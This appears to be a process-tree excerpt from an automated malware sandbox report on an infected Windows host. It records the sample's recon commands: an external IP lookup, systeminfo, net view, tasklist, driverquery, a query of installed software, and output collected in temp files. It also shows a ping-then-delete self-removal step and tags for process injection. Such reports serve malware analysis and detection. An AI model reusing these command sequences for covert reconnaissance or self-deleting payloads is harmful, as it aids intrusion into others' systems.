C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\o52nxxc2\o52nxxc2.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:3452 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF1C8.tmp" "c:\Users\Admin\AppData\Local\Temp\o52nxxc2\CSC91B8251831CF4C5192F6679DAAB6A3F.TMP"5⤵PID:60
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\Emmett.mpa.dll"2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:1988 -
C:\Windows\system32\PING.EXEping localhost -n 53⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Runs ping.exe
PID:1492
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\F344.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:420 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:2460
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\F470.bi1"2⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵PID:2464
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\F344.bi1"2⤵PID:2680
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\F470.bi1"2⤵PID:2736
-
-
C:\Program Files\Windows Mail\WinMail.exe"C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE2⤵PID:2316
-
-
C:\Windows\system32\cmd.execmd /C "wmic computersystem get domain |more > C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get domain3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1232
-
-
C:\Windows\system32\more.commore3⤵PID:1980
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:3404
-
-
C:\Windows\system32\cmd.execmd /C "systeminfo.exe >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:2872
-
C:\Windows\system32\systeminfo.exesysteminfo.exe3⤵
- Gathers system information
PID:1872
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:1592
-
-
C:\Windows\system32\cmd.execmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:1472
-
C:\Windows\system32\net.exenet view3⤵
- Discovers systems in the same network
PID:2304
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:1380
-
-
C:\Windows\system32\cmd.execmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:3976
-
C:\Windows\system32\nslookup.exenslookup 127.0.0.13⤵PID:1528
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:2992
-
-
C:\Windows\system32\cmd.execmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:512
-
C:\Windows\system32\tasklist.exetasklist.exe /SVC3⤵
- Suspicious use of AdjustPrivilegeToken
- Enumerates processes with tasklist
PID:2740
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:420
-
-
C:\Windows\system32\cmd.execmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:1872
-
C:\Windows\system32\driverquery.exedriverquery.exe3⤵PID:1248
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:1472
-
-
C:\Windows\system32\cmd.execmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:1996
-
C:\Windows\system32\reg.exereg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s3⤵
- Checks for installed software on the system
PID:1076
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:2892
-
-
C:\Windows\system32\cmd.execmd /U /C "type C:\Users\Admin\AppData\Local\Temp\13D7.bin1 > C:\Users\Admin\AppData\Local\Temp\13D7.bin & del C:\Users\Admin\AppData\Local\Temp\13D7.bin1"2⤵PID:1820
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3548
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3924 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3924 CREDAT:82945 /prefetch:22⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2016
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3924 CREDAT:82950 /prefetch:22⤵
- Checks whether UAC is enabled
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:3616
-